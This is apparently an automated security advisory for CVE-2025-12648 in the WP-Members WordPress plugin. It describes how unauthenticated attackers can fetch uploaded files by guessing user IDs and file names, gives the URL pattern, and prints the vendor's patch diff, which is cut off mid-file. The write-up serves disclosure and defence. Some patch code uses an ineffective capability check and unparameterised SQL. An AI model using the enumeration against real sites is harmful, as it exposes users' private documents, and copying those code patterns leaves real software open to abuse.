Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-12648: WP-Members Membership Plugin <= 3.5.4.4 – Unauthenticated Information Exposure via Unprotected Files (wp-members)

Plugin wp-members
Severity Medium (CVSS 5.3)
CWE 552
Vulnerable Version 3.5.4.4
Patched Version 3.5.4.5
Disclosed January 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-12648:
The WP-Members Membership Plugin for WordPress versions up to and including 3.5.4.4 contains an unauthenticated information exposure vulnerability. The plugin stores user-uploaded files in predictable web-accessible directories without proper access controls, allowing attackers to directly download sensitive documents.

Atomic Edge research identifies the root cause as the plugin’s storage of user-uploaded files in a predictable directory structure at `wp-content/uploads/wpmembers/user_files//`. The vulnerable code path begins in the `do_file_upload` function in `wp-members/includes/class-wp-members-api.php`. This function uses `wp_handle_upload` with a custom `upload_dir` filter. The `file_upload_dir` function constructs the upload path using a hardcoded subdirectory `user_files`. The resulting predictable path lacks server-side access control checks beyond a basic `.htaccess` file with `Options -Indexes`. The plugin’s `check_user_folders_for_index` function in `class-wp-members-admin-api.php` only ensures directory listing protection, not file access control.

Exploitation requires an attacker to guess or enumerate valid user IDs and filenames. The attack vector is direct HTTP requests to files stored in the predictable location. An attacker crafts URLs following the pattern `https://target.site/wp-content/uploads/wpmembers/user_files//`. No authentication or special parameters are required. Attackers can brute-force user IDs (often sequential integers) and filenames (potentially leaked through other means or guessed based on common document names). The `.htaccess` file only prevents directory listing but does not restrict direct file access.

The patch introduces a multi-layered fix. First, it modifies the file storage path to include randomized hashes. The `wpmem_get_file_dir_hash` function generates a 36-character random string stored as the option `wpmem_file_dir_hash`. The `wpmem_get_user_dir_hash` function generates a unique hash for each user stored as user meta `wpmem_user_dir_hash`. The `file_upload_dir` function now constructs paths using `trailingslashit(wpmem_get_file_dir_hash()) . wpmem_get_user_dir_hash($user_id)`. Second, uploaded filenames are hashed via the `wpmem_hash_file_name` function, which prepends a random key. Third, the patch adds an admin interface for migrating existing files from the deprecated structure to the new hashed structure via the new `WP_Members_Admin_Filesystem_Upgrade` class.

Successful exploitation leads to unauthorized disclosure of sensitive user-uploaded documents. The impact is direct exposure of any file a user has uploaded through the plugin’s file upload fields, which could include personally identifiable information, financial documents, or other confidential data. The vulnerability does not provide remote code execution or privilege escalation, but the exposed data could facilitate further attacks such as identity theft or targeted social engineering.

Differential between vulnerable and patched code

Code Diff
--- a/wp-members/includes/admin/admin.php
+++ b/wp-members/includes/admin/admin.php
@@ -40,6 +40,8 @@

 	global $wpmem;

+	add_filter( 'wpmem_admin_tabs',   array( 'WP_Members_Admin_Tab_About', 'add_tab' ), 99 );
+
 	if ( $wpmem->captcha ) {
 		add_filter( 'wpmem_admin_tabs',   array( 'WP_Members_Admin_Tab_Captcha', 'add_tab' )      );
 		add_action( 'wpmem_admin_do_tab', array( 'WP_Members_Admin_Tab_Captcha', 'do_tab' ), 1, 1 );
@@ -47,7 +49,18 @@
 	if ( $wpmem->dropins ) {
 		add_filter( 'wpmem_admin_tabs',   array( 'WP_Members_Admin_Tab_Dropins', 'add_tab' )       );
 		add_action( 'wpmem_admin_do_tab', array( 'WP_Members_Admin_Tab_Dropins', 'do_tab'  ), 1, 1 );
-	} ?>
+	}
+
+	// @todo Adds tab for updating filesystem if /wpmembers/user_files/ exists.
+	$uploads = wp_upload_dir();
+	$deprecated_folder = trailingslashit( $uploads['basedir'] ) . 'wpmembers/user_files';
+	if ( is_dir( $deprecated_folder ) ) {
+		include_once $wpmem->path . 'includes/admin/tabs/class-wp-members-admin-tab-filesystem-upgrade.php';
+		add_filter( 'wpmem_admin_tabs',   array( 'WP_Members_Admin_Filesystem_Upgrade', 'add_tab' ), 98 );
+		add_action( 'wpmem_admin_do_tab', array( 'WP_Members_Admin_Filesystem_Upgrade', 'do_tab' ),  98 );
+	}
+
+	?>

 	<div class="wrap">
 		<?php
--- a/wp-members/includes/admin/class-wp-members-admin-api.php
+++ b/wp-members/includes/admin/class-wp-members-admin-api.php
@@ -159,7 +159,7 @@
 		add_action( 'wpmem_admin_do_tab',             array( 'WP_Members_Admin_Tab_Dialogs',    'do_tab' ), 10 );
 		add_action( 'wpmem_admin_do_tab',             array( 'WP_Members_Admin_Tab_Emails',     'do_tab' ), 15 );
 		add_action( 'wpmem_admin_do_tab',             array( 'WP_Members_Admin_Tab_Shortcodes', 'do_tab' ), 16 );
-		add_action( 'wpmem_admin_do_tab',             array( 'WP_Members_Admin_Tab_About',      'do_tab' ), 17 );
+		add_action( 'wpmem_admin_do_tab',             array( 'WP_Members_Admin_Tab_About',      'do_tab' ), 99 );

 		// If user has a role that cannot edit users, set profile actions for non-admins.

@@ -223,6 +223,9 @@

 		add_action( 'current_screen', array( $this, 'check_user_folders_for_index' ) );

+		// Check for any upgrade notices.
+		add_filter( 'wpmem_admin_notices', array( $this, 'check_for_upgrade_notices' ) );
+
 	} // End of load_hooks()

 	/**
@@ -244,10 +247,18 @@
 	 */
 	function do_admin_notices() {
 		global $wpmem;
+		/**
+		 * Filter admin notices.
+		 *
+		 * @since 3.5.5
+		 *
+		 * @param array $wpmem->admin_notices Array of admin notices to display.
+		 */
+		$wpmem->admin_notices = apply_filters( 'wpmem_admin_notices', $wpmem->admin_notices );
 		if ( $wpmem->admin_notices ) {
 			foreach ( $wpmem->admin_notices as $key => $value ) {
-				echo '<div class="notice notice-' . $value['type'] . ' is-dismissible">
-					<p><strong>' . $value['notice'] . '</strong></p>
+				echo '<div class="notice notice-' . esc_attr( $value['type'] ) . ' is-dismissible">
+					<p><strong>' . wp_kses_post( $value['notice'] ) . '</strong></p>
 				</div>';

 			}
@@ -392,7 +403,6 @@
 			'dialogs'    => esc_html__( 'Dialogs', 'wp-members' ),
 			'emails'     => esc_html__( 'Emails', 'wp-members' ),
 			'shortcodes' => esc_html__( 'Shortcodes', 'wp-members' ),
-			'about'      => esc_html__( 'About WP-Members', 'wp-members' )
 		);
 	}

@@ -699,7 +709,7 @@

 			$upload_vars  = wp_upload_dir( null, false );
 			$wpmem_base_dir = trailingslashit( trailingslashit( $upload_vars['basedir'] ) . wpmem_get_upload_base() );
-			$wpmem_user_files_dir = $wpmem_base_dir . 'user_files/';
+			$wpmem_user_files_dir = $wpmem_base_dir . trailingslashit( wpmem_get_file_dir_hash() );

 			if ( file_exists( $wpmem_user_files_dir ) ) {
 				// If there is a user file dir, check/self-heal htaccess/index files.
@@ -722,6 +732,35 @@
 		}
 	}

+	function check_for_upgrade_notices( $notices ) {
+
+		// Check for deprecated folder system.
+		$uploads = wp_upload_dir();
+		$deprecated_folder = trailingslashit( $uploads['basedir'] ) . 'wpmembers/user_files';
+		if ( is_dir( $deprecated_folder ) ) {
+			$notice_dismissed = get_option( 'wpmem_dismiss_filesystem_upgrade_notice' );
+			if ( ! $notice_dismissed ) {
+				$notices['deprecated_foldersystem'] = array(
+					'notice' => __( 'The /wpmembers/user_files/ folder is deprecated. Please <a href="' . esc_url( trailingslashit( admin_url() ) . 'options-general.php?page=wpmem-settings&tab=filesystem-upgrade' ) . '">go to the settings page</a> to either upgrade or permanently remove this message.', 'wp-members' ),
+					'type'   => 'warning',
+				);
+			}
+			if ( 'update_filesystem' == wpmem_get( 'wpmem_admin_a' ) ) {
+				if ( false == wpmem_get( 'wpmem_dismiss_filesystem_upgrade_notice' ) ) {
+					$notices['deprecated_foldersystem'] = array(
+						'notice' => __( 'The /wpmembers/user_files/ folder is deprecated. Please <a href="' . esc_url( trailingslashit( admin_url() ) . 'options-general.php?page=wpmem-settings&tab=filesystem-upgrade' ) . '">go to the settings page</a> to either upgrade or permanently remove this message.', 'wp-members' ),
+						'type'   => 'warning',
+					);
+				} elseif ( 1 == wpmem_get( 'wpmem_dismiss_filesystem_upgrade_notice' ) ) {
+					unset( $notices['deprecated_foldersystem'] );
+				}
+			}
+		}
+
+		// Return any notices.
+		return $notices;
+	}
+
 } // End of WP_Members_Admin_API class.

 // End of file.
 No newline at end of file
--- a/wp-members/includes/admin/tabs/class-wp-members-admin-tab-about.php
+++ b/wp-members/includes/admin/tabs/class-wp-members-admin-tab-about.php
@@ -22,6 +22,17 @@
 class WP_Members_Admin_Tab_About {

     /**
+     * Adds the About tab.
+     *
+     * @param  array $tabs The existing admin tabs.
+     * @return array       The modified admin tabs.
+     */
+    static function add_tab( $tabs ) {
+        $tabs['about'] = esc_html__( 'About WP-Members', 'wp-members' );
+        return $tabs;
+    }
+
+    /**
      * Creates the About tab.
      *
      * @since 3.1.1
--- a/wp-members/includes/admin/tabs/class-wp-members-admin-tab-filesystem-upgrade.php
+++ b/wp-members/includes/admin/tabs/class-wp-members-admin-tab-filesystem-upgrade.php
@@ -0,0 +1,192 @@
+<?php
+/**
+ * WP-Members Admin functions
+ *
+ * Functions to upgrade the filesystem.
+ *
+ * This file is part of the WP-Members plugin by Chad Butler
+ * You can find out more about this plugin at https://rocketgeek.com
+ * Copyright (c) 2006-2025  Chad Butler
+ * WP-Members(tm) is a trademark of butlerblog.com
+ *
+ * @package WP-Members
+ * @author Chad Butler
+ * @copyright 2006-2025
+ */
+
+// Exit if accessed directly.
+if ( ! defined( 'ABSPATH' ) ) {
+	exit();
+}
+
+class WP_Members_Admin_Filesystem_Upgrade {
+
+	/**
+	 * Creates the tab.
+	 *
+	 * @param  string      $tab The admin tab being displayed.
+	 * @return string|bool      The tab html, otherwise false.
+	 */
+	static function do_tab( $tab ) {
+		if ( $tab == 'filesystem-upgrade' || ! $tab ) {
+			// Render the tab.
+			return self::build_settings();
+		} else {
+			return false;
+		}
+	}
+
+	/**
+	 * Adds the tab.
+	 *
+	 * @param  array $tabs The array of tabs for the admin panel.
+	 * @return array       The updated array of tabs for the admin panel.
+	 */
+	public static function add_tab( $tabs ) {
+		return array_merge( $tabs, array( 'filesystem-upgrade' => esc_html__( 'Filesystem', 'wp-members' ) ) );
+	}
+
+	/**
+	 * Builds the dialogs panel.
+	 *
+	 * @since 2.2.2
+	 * @since 3.3.0 Ported from wpmem_a_build_dialogs().
+	 *
+	 * @global object $wpmem
+	 */
+	static function build_settings() {
+
+		global $wpmem;
+		require_once $wpmem->path . 'includes/class-wp-members-filesystem.php';
+		$wpmem->filesystem = New WP_Members_Update_Filesystem_Class();
+
+		// Check how many files to move.
+		$files_to_move = $wpmem->filesystem->get_file_list();
+		$num_to_move = count( $files_to_move );
+		if ( isset( $_POST['wpmem_dismiss_filesystem_upgrade_notice'] ) && 1 == $_POST['wpmem_dismiss_filesystem_upgrade_notice'] ) {
+			update_option( 'wpmem_dismiss_filesystem_upgrade_notice', intval( wpmem_get( 'wpmem_dismiss_filesystem_upgrade_notice', 0, 'post' ) ), false );
+		} else {
+			if ( isset( $_POST['wpmem_admin_a'] ) && 'update_filesystem' == $_POST['wpmem_admin_a'] && ! isset( $_POST['wpmem_dismiss_filesystem_upgrade_notice'] ) ) {
+				delete_option( 'wpmem_dismiss_filesystem_upgrade_notice' );
+			}
+		}
+		if ( isset( $_POST['update-filesystem-confirm'] ) && 'move' == $_POST['update-filesystem-confirm'] ) {
+			$wpmem->filesystem->update_filesystem();
+			$wpmem->filesystem->set_move_complete( true );
+			update_option( 'wpmem_upgrade_filesystem_move_complete', 1, false );
+		}
+		?>
+		<div class="wrap">
+			<form name="update-filesystem-form" id="update-filesystem-form" method="post" action="<?php echo esc_url( wpmem_admin_form_post_url() ); ?>">
+			<?php wp_nonce_field( 'wpmem-upgrade-filesystem' ); ?>
+			<h2><?php esc_html_e( 'Upgrade the WP-Members filesystem', 'wp-members' ); ?></h2>
+			<?php
+
+		if ( ! empty( $wpmem->filesystem->get_errors() ) ) { ?>
+			<p>
+				File moves were attempted.  The table below displays user ID folders that were not moved.
+				This may be all existing files or only some.  You should verify by checking
+				the filesystem directly.
+			</p>
+			<p>
+				Once you have confirmed your moves and you are satisfied that things are correct,
+				you will need to delete the original directory and files.<br />
+				<a href="<?php echo trailingslashit( admin_url() ) . '/options-general.php?page=wpmem-settings&tab=filesystem-upgrade'; ?>">Continue to the initial screen
+				and select the delete option</a>.
+			</p>
+			<table class="widefat fixed" cellspacing="0">
+				<tr>
+					<th id="user_id" style="width:68px">User ID</th>
+					<th id="error">Error</th>
+				</tr>
+			<?php foreach ( $wpmem->filesystem->get_errors() as $user_id => $error ) {
+				echo '<tr><td>' . $user_id . '</td><td>' . $error . '</td></tr>';
+			} ?>
+			</table>
+		<?php } elseif ( $wpmem->filesystem->is_move_complete() ) { ?>
+			<p>Filesystem was updated.</p>
+			<?php
+				// Get an updated count.
+				$files_to_move = $wpmem->filesystem->get_file_list();
+				$num_to_move = count( $files_to_move );
+				if ( $num_to_move > 0 ) {
+				echo '<p>There are ' . $num_to_move . ' files that were not moved. You may run step 1 again to
+				attempt to move these, or you may need to move them manually.';
+			} ?>
+			<p>If you wish to proceed to step 2 to delete the original directories and files you may do so below.</p>
+			<h3>Step 2: Delete old filesystem</h3>
+			<input type="radio" id="delete" name="update-filesystem-confirm" value="delete" /> Delete the old filesystem.<br>
+			<?php submit_button(); ?>
+		<?php } elseif ( isset( $_POST['update-filesystem-confirm'] ) && 'delete' == $_POST['update-filesystem-confirm'] ) {
+			// Clean up (delete) old dir.
+			$rmdir = $wpmem->filesystem->delete_directory( trailingslashit( $wpmem->filesystem->basedir ) . 'wpmembers/user_files' );
+			if ( $rmdir ) {
+				echo '<p>Deletion was successful.</p>';
+				delete_option( 'wpmem_upgrade_filesystem_move_complete'  );
+				delete_option( 'wpmem_dismiss_filesystem_upgrade_notice' );
+			} else {
+				echo '<p>Deletion was not successful. You may need to check directory permissions and/or delete the folder manually</p>';
+			} ?>
+			<p><a href="<?php echo esc_url( admin_url() . '/options-general.php?page=wpmem-settings&tab=options' ); ?>">Return to main plugin page</a></p>
+		<?php } else { ?>
+			<div style="width:500px;">
+				<p>
+					Your current configuration indicates that there are uploaded files within the WP-Members
+					filesystem in a deprecated configuration.  You have the option to move these files. However,
+					this cannot be reversed or undone.
+				</p>
+				<p>
+					The upgrade process is two steps:
+					<ol>
+					<li>Move the current files to a new structure.</li>
+					<li>Delete the old files and directory.</li>
+					</ol>
+				</p>
+				<p>
+					This process will move uploaded user files and delete the
+					previous directories.  It cannot be undone. <strong>Please
+					make sure you have backed up the database and the filesystem
+					before running these actions</strong>.
+				</p>
+				<p>
+					There is a more thorough explanation of this process
+					<a href="https://rocketgeek.com/release-announcements/wp-members-3-5-4-5-release-notes/">here</a>.
+					Alternative to using this admin panel process, there is a
+					<a href="https://rocketgeek.com/plugins/wp-members/docs/plugin-settings/fields/upgrade-the-wp-members-uploaded-files-using-wp-cli/">WP-CLI process</a>
+					for doing this upgrade.
+				</p>
+				<p>
+					If you chose to either not proceed with the move or do it at
+					a later time, you can permanently disable the admin notice by
+					checking the box below.<br />
+					<?php
+					$dismiss_upgrade_notice = get_option( 'wpmem_dismiss_filesystem_upgrade_notice' );
+					$checked = ( $dismiss_upgrade_notice || isset( $_POST['wpmem_dismiss_filesystem_upgrade_notice'] ) ) ? true : false ?>
+					<input type="checkbox" name="wpmem_dismiss_filesystem_upgrade_notice" value="1" <?php checked( 1, $checked ); ?> /> Permanently dismiss the admin notice.
+				</p>
+			</div>
+			<h3>Step 1: Move the filesystem</h3>
+			<input type="radio" id="move" name="update-filesystem-confirm" value="move" /> Move the current filesystem.<br>
+			<p>
+				There are <?php echo $num_to_move; ?> files to move.<br/>
+			</p>
+			<?php
+			$step_1_done = get_option( 'wpmem_upgrade_filesystem_move_complete' );
+			if ( $step_1_done ) { ?>
+			<h3>Step 2: Delete old filesystem</h3>
+			<input type="radio" id="delete" name="update-filesystem-confirm" value="delete" /> Delete the old filesystem.<br>
+			<p>
+				Make sure you have run step 1 above first.<br/>
+				Make sure step 1 indicates there are no files to move or
+				you are satisfied that all files have been move to new directories.
+			</p>
+			<?php } ?>
+			<input type="hidden" name="wpmem_admin_a" value="update_filesystem" />
+			<?php submit_button();
+		} ?>
+			</form>
+		</div><!-- #post-box -->
+		<?php
+	}
+}
+// End of file.
 No newline at end of file
--- a/wp-members/includes/api/api-users.php
+++ b/wp-members/includes/api/api-users.php
@@ -1280,6 +1280,6 @@
  */
 function wpmem_get_user_count_by_role( $role ) {
 	$users = count_users();
-	return ( 'all' == $role ) ? $users['avail_roles'][ $role ] : $users['total_users'];
+	return ( 'all' == $role ) ? $users['total_users'] : $users['avail_roles'][ $role ];
 }
 // End of file.
 No newline at end of file
--- a/wp-members/includes/api/api-utilities.php
+++ b/wp-members/includes/api/api-utilities.php
@@ -336,13 +336,7 @@
  */
 function wpmem_get_upload_base() {
 	global $wpmem;
-	if ( isset( $wpmem->upload_base ) ) {
-		return $wpmem->upload_base;
-	} else {
-		/** This filter is defined in class-wp-members-forms.php */
-		$args = apply_filters( 'wpmem_user_upload_dir', array( 'wpmem_dir' => "wpmembers" ) );
-		return $args['wpmem_dir'];
-	}
+	return ( isset( $wpmem->upload_base ) ) ? $wpmem->upload_base : "wpmembers";
 }

 /**
@@ -361,7 +355,7 @@
     $upload_vars  = wp_upload_dir( null, false );
 	$base_dir = $upload_vars['basedir'];
 	$wpmem_base_dir = trailingslashit( trailingslashit( $base_dir ) . wpmem_get_upload_base() );
-	$wpmem_user_files_dir = $wpmem_base_dir . 'user_files/';
+	$wpmem_user_files_dir = $wpmem_base_dir . trailingslashit( wpmem_get_file_dir_hash() );
     return array(
         'upload_vars'          => $upload_vars,
         'base_dir'             => $base_dir,
@@ -371,6 +365,95 @@
 }

 /**
+ * Creates a randomized file name.
+ *
+ * @since 3.5.5
+ *
+ * @param  string  $filename
+ * @return string  $key.$ext
+ */
+function wpmem_hash_file_name( $filename ) {
+	// How long a random string do we want?
+	$hash_len = 36;
+
+	// Get the file extension.
+	$ext = pathinfo( $filename, PATHINFO_EXTENSION );
+
+	if ( preg_match( '/^[a-f0-9]{'. $hash_len . '}-.*/', $filename ) ) {
+		$filename = substr( $filename, $hash_len + 1 );
+	}
+
+	$key = sha1( random_bytes(32) );
+	$key = substr( $key, 0, $hash_len );
+
+	$filename = "$key.$ext";
+	/**
+	 * Filter the hashed file name.
+	 *
+	 * @since 3.5.5
+	 *
+	 * @param string $filename
+	 * @param int    $hash_len
+	 * @param string $key
+	 * @param string $ext
+	 */
+	return apply_filters( 'wpmem_hashed_file_name', $filename, $hash_len, $key, $ext );
+}
+
+/**
+ * Gets or creates a user directory hash.
+ *
+ * @since 3.5.5
+ *
+ * @param  int    $user_id
+ * @return string $user_dir_hash
+ */
+function wpmem_get_user_dir_hash( $user_id ) {
+	$hash_len = 36;
+	$user_dir_hash = get_user_meta( $user_id, 'wpmem_user_dir_hash', true );
+	if ( ! $user_dir_hash ) {
+		$uid_len = strlen( $user_id );
+		$user_dir_hash = $user_id . wp_generate_password( ( $hash_len-$uid_len ), false, false );
+		update_user_meta( $user_id, 'wpmem_user_dir_hash', $user_dir_hash );
+	}
+	/**
+	 * Filter the user directory hash.
+	 *
+	 * @since 3.5.5
+	 *
+	 * @param string $user_dir_hash
+	 * @param int    $hash_len
+	 * @param int    $user_id
+	 */
+	return apply_filters( 'wpmem_user_dir_hash', $user_dir_hash, $hash_len, $user_id );
+}
+
+/**
+ * Gets or creates the file directory hash.
+ *
+ * @since 3.5.5
+ *
+ * @return string $dir_hash
+ */
+function wpmem_get_file_dir_hash() {
+	$hash_len = 36;
+	$dir_hash = get_option( 'wpmem_file_dir_hash' );
+	if ( ! $dir_hash ) {
+		$dir_hash = wp_generate_password( $hash_len, false, false );
+		update_option( 'wpmem_file_dir_hash', $dir_hash );
+	}
+	/**
+	 * Filter the file directory hash.
+	 *
+	 * @since 3.5.5
+	 *
+	 * @param string $dir_hash
+	 * @param int    $hash_len
+	 */
+	return apply_filters( 'wpmem_file_dir_hash', 'user_files_' . $dir_hash, $hash_len );
+}
+
+/**
  * Reads a csv file to a keyed array.
  *
  * @since 3.5.4
--- a/wp-members/includes/class-wp-members-api.php
+++ b/wp-members/includes/class-wp-members-api.php
@@ -14,6 +14,8 @@

 class WP_Members_API {

+	public $file_user_id; // A container for the uploaded file user ID.
+
 	/**
 	 * Plugin initialization function.
 	 *
@@ -233,5 +235,117 @@
 	public function is_field_in_wp_users( $meta ) {
 		return ( in_array( $meta, $this->get_wp_users_fields() ) ) ? true : false;
 	}
+
+	/**
+	 * Uploads file from the user.
+	 *
+	 * @since 3.1.0
+	 * @since 3.5.5 Moved to API class.
+	 *
+	 * @param  array    $file
+	 * @param  int      $user_id
+	 * @return int|bool
+	 */
+	function do_file_upload( $file = array(), $user_id = false ) {
+
+		// Filter the upload directory.
+		add_filter( 'upload_dir', array( &$this, 'file_upload_dir' ) );
+		add_filter( 'sanitize_file_name', 'wpmem_hash_file_name' );
+
+		// Set up user ID for use in upload process.
+		$this->file_user_id = ( $user_id ) ? $user_id : 0;
+
+		// Get WordPress file upload processing scripts.
+		require_once( ABSPATH . 'wp-admin/includes/file.php' );
+		require_once( ABSPATH . 'wp-admin/includes/media.php' );
+
+		$file_return = wp_handle_upload( $file, array( 'test_form' => false ) );
+
+		remove_filter( 'sanitize_file_name', 'wpmem_hash_file_name' );
+
+		if ( isset( $file_return['error'] ) || isset( $file_return['upload_error_handler'] ) ) {
+			return false;
+		} else {
+
+			$attachment = array(
+				'post_mime_type' => $file_return['type'],
+				'post_title'     => preg_replace( '/.[^.]+$/', '', basename( $file['name'] ) ),
+				'post_content'   => '',
+				'post_status'    => 'inherit',
+				'guid'           => $file_return['url'],
+				'post_author'    => ( $user_id ) ? $user_id : '',
+			);
+
+			$attachment_id = wp_insert_attachment( $attachment, $file_return['file'] );
+
+			require_once( ABSPATH . 'wp-admin/includes/image.php' );
+			$attachment_data = wp_generate_attachment_metadata( $attachment_id, $file_return['file'] );
+			wp_update_attachment_metadata( $attachment_id, $attachment_data );
+
+			if ( 0 < intval( $attachment_id ) ) {
+				// Returns an array with file information.
+				return $attachment_id;
+			}
+		}

+		return false;
+	} // End upload_file()
+
+	/**
+	 * Sets the file upload directory.
+	 *
+	 * This is a filter function for upload_dir.
+	 *
+	 * @link https://codex.wordpress.org/Plugin_API/Filter_Reference/upload_dir
+	 *
+	 * @since 3.1.0
+	 * @since 3.5.5 Moved to API class.
+	 * @since 3.5.5 Updated to add a randomized hash to the user directories.
+	 *
+	 * @param  array $param {
+	 *     The directory information for upload.
+	 *
+	 *     @type string $path
+	 *     @type string $url
+	 *     @type string $subdir
+	 *     @type string $basedir
+	 *     @type string $baseurl
+	 *     @type string $error
+	 * }
+	 * @return array $param
+	 */
+	function file_upload_dir( $param ) {
+
+		$user_id  = ( isset( $this->file_user_id ) ) ? $this->file_user_id : null;
+
+		$file_dir = wpmem_get_file_dir_hash();
+		$user_dir = wpmem_get_user_dir_hash( $user_id );
+
+		$args = array(
+			'user_id'    => $user_id,
+			'wpmem_dir'  => wpmem_get_upload_base(),
+			'user_dir'   => trailingslashit( $file_dir ) . $user_dir,
+			'basedir'    => $param['basedir'],
+			'baseurl'    => $param['baseurl'],
+			'file_hash'  => $file_dir,
+			'user_hash'  => $user_dir,
+		);
+
+		/**
+		 * Filter the user directory elements.
+		 *
+		 * @since 3.1.0
+		 * @since 3.5.5 Added base vals and hashes to args.
+		 *
+		 * @param array $args
+		 */
+		$args = apply_filters( 'wpmem_user_upload_dir', $args );
+
+		$param['subdir'] = '/' . $args['wpmem_dir'] . '/' . $args['user_dir'];
+		$param['path']   = $args['basedir'] . '/' . $args['wpmem_dir'] . '/' . $args['user_dir'];
+		$param['url']    = $args['baseurl'] . '/' . $args['wpmem_dir'] . '/' . $args['user_dir'];
+
+		return $param;
+	}
+
 } // End of WP_Members_Utilties class.
 No newline at end of file
--- a/wp-members/includes/class-wp-members-filesystem.php
+++ b/wp-members/includes/class-wp-members-filesystem.php
@@ -0,0 +1,256 @@
+<?php
+// Exit if accessed directly.
+if ( ! defined( 'ABSPATH' ) ) {
+	exit();
+}
+
+class WP_Members_Update_Filesystem_Class {
+
+	public $uploads = array();
+	public $basedir;
+	public $baseurl;
+	protected $errors = array();
+	protected $move_complete = false;
+
+	public function __construct() {
+		$this->uploads = wp_upload_dir();
+		$this->basedir = $this->uploads['basedir'];
+		$this->baseurl = $this->uploads['baseurl'];
+	}
+
+	public function is_move_complete() {
+		return $this->move_complete;
+	}
+
+	public function set_move_complete( $val ) {
+		$this->move_complete = $val;
+	}
+
+	public function get_errors() {
+		return $this->errors;
+	}
+
+	public function get_file_list() {
+		global $wpdb;
+		$search_str = '%wpmembers/user_files/%';
+		/**
+		 * Filter the file list string.
+		 *
+		 * @since 3.5.5
+		 */
+		$search_str = apply_filters( 'wpmem_get_file_list_search_str', $search_str );
+		//return $wpdb->get_results( 'SELECT ID, post_author, post_title, guid FROM ' . $wpdb->posts . ' WHERE post_type = "attachment" AND guid LIKE "' . $search_str . '";' );
+		return $wpdb->get_results( 'SELECT
+				u1.ID,
+				u1.post_author,
+				u1.post_title,
+				u1.guid,
+				m1.meta_value AS wp_attached_file
+			FROM ' . $wpdb->posts . ' u1
+			JOIN ' . $wpdb->postmeta . ' m1 ON (m1.post_id = u1.id AND m1.meta_key = "_wp_attached_file")
+			WHERE m1.meta_value like "%wpmembers/user_files/%";'
+		);
+	}
+
+	public function update_filesystem() {
+
+		// Check user capability to prevent being used by a non-permissioned user.
+		/**
+		 * Filter the required capability.
+		 *
+		 * @since 3.5.5
+		 */
+		$has_req_caps = apply_filters( 'wpmem_update_filesystem_caps', 'delete_site' );
+
+		if ( ! $has_req_caps ) {
+			return false;
+		}
+
+		$results = $this->get_file_list();
+
+		// If there are results, they need to move.
+		if ( $results ) {
+
+			$new_dir_location = trailingslashit( '/wpmembers/' . wpmem_get_file_dir_hash() );
+			// If new_dir_location does not exist, create it.
+			if ( ! is_dir( $this->basedir . $new_dir_location ) ) {
+				mkdir( $this->basedir . $new_dir_location, 0755, true );
+				// Add indexes and htaccess
+				wpmem_create_file( array(
+					'path'     => $this->basedir . $new_dir_location,
+					'name'     => 'index.php',
+					'contents' => "<?php // Silence is golden."
+				) );
+				wpmem_create_file( array(
+					'path'     => $this->basedir . $new_dir_location,
+					'name'     => '.htaccess',
+					'contents' => "Options -Indexes"
+				) );
+			}
+
+			// Set up progress bar for WP-CLI.
+			if ( defined( 'WP_CLI' ) && WP_CLI ) {
+				$count = count( $results );
+				$progress = WP_CLIUtilsmake_progress_bar( 'Moving uploaded user files.', $count );
+			}
+
+			foreach ( $results as $result ) {
+
+				$user_id = $result->post_author;
+				$guid = $result->guid;
+
+				// User ID dir
+				$user_dir_hash = wpmem_get_user_dir_hash( $user_id );
+
+				// File name
+				$filename = wpmem_hash_file_name( basename( get_attached_file( $result->ID ) ) );
+
+				// Move location.
+				$new_file_path = $this->basedir . $new_dir_location . trailingslashit( $user_dir_hash ) . $filename;
+
+				$do_move = $this->move_attachment_file( $result->ID, $new_file_path );
+
+				if ( is_wp_error( $do_move ) ) {
+					$this->errors[ $user_id ] = $do_move->get_error_message();
+				}
+
+				if ( defined( 'WP_CLI' ) && WP_CLI ) {
+					$progress->tick();
+				}
+			}
+
+			if ( defined( 'WP_CLI' ) && WP_CLI ) {
+				$progress->finish();
+			}
+		}
+	}
+
+	// this one from grok.
+	/**
+	 * Move/rename a media attachment file and update WordPress metadata.
+	 *
+	 * @param int    $attachment_id The ID of the attachment post.
+	 * @param string $new_file_path Absolute path to the new location (including filename).
+	 *
+	 * @return bool|WP_Error True on success, WP_Error on failure.
+	 */
+	public function move_attachment_file( $attachment_id, $new_file_path ) {
+
+		// Check user capability to prevent being used by a non-permissioned user.
+		/**
+		 * Filter the required capability.
+		 *
+		 * @since 3.5.5
+		 */
+		$has_req_caps = apply_filters( 'wpmem_update_filesystem_caps', 'delete_site' );
+
+		if ( ! $has_req_caps ) {
+			return false;
+		}
+
+		// Verify it's a valid attachment
+		if ( get_post_type( $attachment_id ) !== 'attachment' ) {
+			return new WP_Error( 'invalid_attachment', 'Invalid attachment ID.' );
+		}
+
+		// Get current absolute file path
+		$old_file_path = get_attached_file( $attachment_id );
+		if ( ! file_exists( $old_file_path ) ) {
+			$error = new WP_Error( 'file_missing', 'Original file not found.' );
+			if ( is_wp_error( $error ) ) {
+				// Try if it's http
+				$old_file_path = str_replace( trailingslashit( $this->baseurl ), '', $old_file_path );
+				if ( ! file_exists( $old_file_path ) ) {
+					// Still an error.
+					return $error;
+				}
+			}
+		}
+
+		// Ensure destination directory exists
+		$new_dir = dirname( $new_file_path );
+		if ( ! file_exists( $new_dir ) ) {
+			if ( ! wp_mkdir_p( $new_dir ) ) {
+				return new WP_Error( 'dir_create_failed', 'Could not create destination directory.' );
+			}
+		}
+
+		// Move the original file
+		if ( ! rename( $old_file_path, $new_file_path ) ) {
+			return new WP_Error( 'move_failed', 'Failed to move the main file.' );
+		}
+
+		// Update the main attached file path (relative to uploads dir)
+		$new_relative_path = str_replace( trailingslashit( $this->basedir ), '', $new_file_path );
+		update_attached_file( $attachment_id, $new_relative_path );
+
+		// For images: regenerate metadata (updates paths for all thumbnail sizes)
+		// This also moves the thumbnail files if needed (rename handles it via metadata update)
+		if ( wp_attachment_is_image( $attachment_id ) ) {
+			$new_metadata = wp_generate_attachment_metadata( $attachment_id, $new_file_path );
+			wp_update_attachment_metadata( $attachment_id, $new_metadata );
+		}
+
+		// Optional: Update the GUID (rarely needed, but can help in some cases)
+		wp_update_post( array( 'ID' => $attachment_id, 'guid' => trailingslashit( $this->basedir ) . $new_relative_path ) );
+
+		wpmem_create_file( array(
+			'path'     => $new_dir,
+			'name'     => 'index.php',
+			'contents' => "<?php // Silence is golden."
+		) );
+
+		return true;
+	}
+
+	/**
+	 * Deletes directories using rmdir even if they are not empty.
+	 *
